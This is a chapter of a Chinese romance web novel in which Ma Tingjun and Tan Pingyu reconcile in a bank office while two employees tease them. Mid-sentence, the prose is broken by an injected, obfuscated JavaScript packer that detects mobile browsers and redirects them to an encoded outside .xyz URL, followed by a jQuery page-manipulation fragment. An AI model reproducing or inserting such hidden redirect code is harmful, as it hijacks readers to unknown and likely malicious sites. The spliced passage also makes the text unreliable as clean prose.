因为是谈文翡留下的品味,平渝银行一切装潢服务于美观,楼梯建得窄,这几年被他们踩来踩去,嘎吱嘎吱地响,又请不起木匠保养。不知道谈凭玉怎么上的楼?飞上来的?倒不可能。总不是被盛在心里一同行动的——真成狐狸精了,悄无声息。
麻霆君暗暗吃惊,不敢开口。
谈凭玉道:“我保证给霆君一个正经的名分,保证绝无二心。二位大哥,满意吗?”
“满意、满意。”胖子瘦子揣着手,猫着腰出了办公室。
谈凭玉飘到麻霆君身前,对面对坐下。道:“霆君,我知道你有骨气,也知道你很有担当、很有本领,这些我在鹭镇的时候就知道,你不用一直和我证明。”
麻霆君沉默着。他撬不开麻霆君的嘴,带些无可奈何,却没有要责怪的意思。牵着麻霆君的手,大拇指指腹摩挲起掌心。
“我十八岁的时候,爸爸考虑下一任家主。我道行浅,可是爸爸最偏心我,所以很多人不希望我活着。侥幸捡回一条命了,格外要谨慎。”
他说得诚恳,声音却不止颤抖,道,“我是想慢慢和你坦白,又怕你知道了心急,再来添乱。暗示你过几次,你没听出来,只好作罢了。”
麻霆君道:“我没有因为这件事怪过你。”
谈凭玉才踏实不少,挪得离他更近,勉强微笑着,道:“后来去了香岛,香岛有新政,势力盘根错节。我又是枢城过去的,年纪小,更加立不住脚了。很多人都盯着我,我怕你被牵连,不敢和你联系。”
麻霆君抽回手,谈凭玉心里一惊,生生把话断在嘴边。他犹豫片刻,主动握着谈凭玉,道:“为什么要不告而别?”
谈凭玉松了口气,为难地道:“如果让你知道,我怕我就走不掉了。”
又赶紧道:“我在香岛做得小有起色,好不容易能够维持平稳了,马上赶回鹭镇。但大家都说你死了……”
“要是一开始就知道你是谈四,我不会来追求你的。”麻霆君打断他,起身站到窗边。
谈凭玉忙追过去。他不肯面对谈凭玉,只木木盯着窗外一排梧桐树。
谈凭玉压着窗帘,道:“为什么?”
麻霆君木木道:“你这次能在我身边留多久?”
谈凭玉道:“我不会走了,霆君。”
麻霆君一声不吭。他心里又急又怕,晃着麻霆君的手臂,夹着几分哭腔道:“霆君!”
麻霆君才道:“你们家是名门望族,一切都没有定数。利欲熏心的人太多,做什么都不稀奇。你不在的几年,我真的很痛苦,如果再叫我来一遍,倒不如从来没开始过。”
拒绝的势头太明显,谈凭玉却宁死不信,在他言辞的夹缝间寻安慰,道:“霆君,我现在比以前有权力,不用被推着走。不论多久,我都保证能够陪在你身边。”
麻霆君却道:“如果我不肯呢?”
谈凭玉唯独希望是自己听错了,然而一点惶急涌上心头,蔓延在全身,叫他止不住地哆嗦:“什么意思?”
麻霆君轻轻叹了口气,低头道:“这几年变故太多,我想了很久,我们根本不是一个世界的人,相遇都不应该,更不说是相爱了。”
他只用余光探着谈凭玉,看见一个不止打着寒噤的身形。外头吹来冷风阵阵,他伸手捞了锁扣,关窗的时候,难免扯到谈凭玉身下的窗帘布。
谈凭玉颤抖道:“麻霆君,你在说什么?你明明是爱我的!”
“我也不是之前的我了。”
谈凭玉拧他胳膊。他的思绪仿佛一并锁在外头,身体茫然地绞起窗帘,感受不出痛。几秒钟过得像一辈子,不知道有多久。
谈凭玉直喘粗气。
“麻霆君,我不管你编什么谎话骗我,既然你不接受,我保证:我永远都不会来打扰你。”
谈凭玉怨怨瞪着他,放狠话,“银行的钱不用你还了,你说你这几年痛苦,我再赔给你。我们两清了!”
却不见有什么效果,麻霆君被抽走灵魂似的杵着。他失望透顶,不愿再迁就,转身要走——手腕被麻霆君捉住了。
“放手。”他低低地道。
麻霆君置若罔闻,他又恶狠狠道:“麻霆君,把手放开!”
他其实没力气讲话,心里太悲痛了,身体不堪重负,做什么都是拆东墙补西墙。声音一高,没力气憋眼泪,决堤般向外流。
他做好一刀两断的准备,不愿让麻霆君发现他哭。咬着下唇,但是不受控制地耸肩。
“凭玉!”
回过头来,有个怀抱迎接着他。他到底是爱着麻霆君的,一想是最后接触的机会,索性深深埋在麻霆君怀里,咬着肩膀上的布料。
麻霆君拍着他的后背,柔声道:“凭玉,不哭了,凭玉。”
他止不住泪水,只道:“麻霆君,你混蛋……”
麻霆君如释重负一笑,道:“我就是混蛋。如果我不是混蛋,最早就知难而退了,怎么会和你有现在?”
忽地仿佛眼泪往心里倒流,谈凭玉感受到心上暖洋洋的,却嘴硬道:“既然你说,‘你不是原先的你’,就快滚!”
麻霆君笑道:“可是看你哭,我实在是好心疼。等你不哭,我自然就滚了。”
“用不着你来可怜我!”谈凭玉在他怀里象征性地挣扎一番,动作软和下来,柔弱道,“我不要你抱。”
他自然抱得更用力,道:“我的凭玉,我怎么舍得叫你走?”
有麻霆君来,好像什么都不重要了。谈凭玉被推着倒走几步,坐在办公桌上。麻霆君站在桌前,掰他两只膝盖卡着自己。
“都是我不好。”麻霆君捧着他的脸,轻轻地道,“你走的那天,我早上睁眼看见香囊丢了,就知道你一定来过,你是连夜走的。怪我睡得太熟,要是我能够把你牢牢抓住,我们都不用痛苦这么多年了。”
他脸上烫得头昏脑胀。麻霆君再要来吻他——更不敢想象自己的脸看着有多红。
麻霆君盯着他的眼睛,先扑哧一笑,再道:“先前有太多遗憾,我们做的都不够周全,凭玉,再给我一次机会。我一点一点再来弥补,好吗?”
方才还在悬崖旁,这时候忽然回春了。他被麻霆君半拘束着,躲不掉,只能微微低下头,晃着一双腿,逃避道:“你叫我‘凭玉’,听着好生疏,像是我的长辈。”
“可我年纪就是比你大,确实是你的长辈?”
“麻霆君!”
“嗳。”麻霆君笑道,“我叫平儿总好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466602|149246||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了——宝贝,平儿还是凭儿?”
谈凭玉道:“不要后面那个。”
麻霆君道:“你看,你心里就是有我的。”
谈凭玉不愿被他拆穿,往前踢却也只踢到一片空气。麻霆君更加得意,他推着麻霆君,道:“你真的是不想看我哭,才编一套鬼话出来?”
麻霆君笑道:“哎呀,你忘了?我们第一次出去,住友好饭店,你占尽我的便宜也不肯负责。我一哭,你就回心转意了。现在我也想看你哭一哭。”
“有你这种人!”谈凭玉气急败坏,道,“我瞎了眼了,会喜欢你这种人!”
“给你打,反正是我坏,我最坏。”
麻霆君再来亲他,道,“我要向你坦白了:刚知道你不是俞平,是凭玉,从小到大锦衣玉食,受过最大的苦头是来鹭镇和我相遇,我先前一切的心疼都是自作多情,虽然是被骗了,很受挫败,但我其实很高兴。”
又道:“做水手,做情人,无论做什么都都好,我唯独希望你可以一直幸福,凡是你喜欢的,我也喜欢,你不喜欢的,我就帮你一起找到你喜欢的。”
谈凭玉勾着他的领口,想吻他,却是力不从心。轻轻道:“讲这些话,是不是叫我更爱你一些?”
麻霆君更加灿烂:“你本来就是很爱我的,我又有些笨,多一寸,少一寸,我分辨不出来,当你非常非常——非常爱我!”
“哪里来的这么多非常?我不做亏本生意。”谈凭玉笑道,“我只有非常非常爱你。”
二人兴高采烈地亲热一阵,吻了再搂,搂了再吻,好一阵子,谈凭玉从桌上跳下来,扯下挂在衣帽架上的长围巾,道:“霆君,我带你回家。”
麻霆君愣道:“别冲动!”
谈凭玉也愣。一跺脚,凶道:“你跟不跟我走?”
麻霆君姑且没回答,光是探头向前,等他来系围巾。他张牙舞爪一阵,又怕弄疼麻霆君似的,只摆出花架子;麻霆君看他可爱,心里更加喜欢,方才笑道:“你让我干什么,我就干什么,我是你的小狗。”
楼下两个人不见他们下来,又没胆子窃听,坐在一起闲谈天。回味起在麻公馆时常用的游戏。
“我来考考你。”胖子道,“天上的月亮,阴阴晴晴时圆时缺。”
瘦子绞尽脑汁对不出什么,不多时楼梯摇摇欲坠一阵,麻霆君领先在前头,道:“你们讲什么,叽叽喳喳不清不楚。”
他眼里这二人是莫名其妙地鼓掌道:“五爷文曲星上完身回来啦。”
谈凭玉落在后头,一踮一踮地走着。瘦子身高腿长,抢先看到他脸上红晕没散干净,咳了咳,笑道:“嗳,我们五爷不是五爷了。”
麻霆君作势要打他,听后头谈凭玉脚步轻重,又急忙撇下他去搂谈凭玉了。眼见麻霆君心情好,另两个不放过他,油腔滑调地齐声道:
“谈四奶奶!”
麻霆君不应,却也不见得是不肯应。装着深沉道:“我和平儿出去一趟,银行交给你们负责,别出乱子。”
谈凭玉补充道:“晚点放他回来!”
胖子瘦子送他们出门,一人一个灿烂的笑脸:
“恭喜四爷和四奶奶。”
“贺喜四爷和四奶奶。”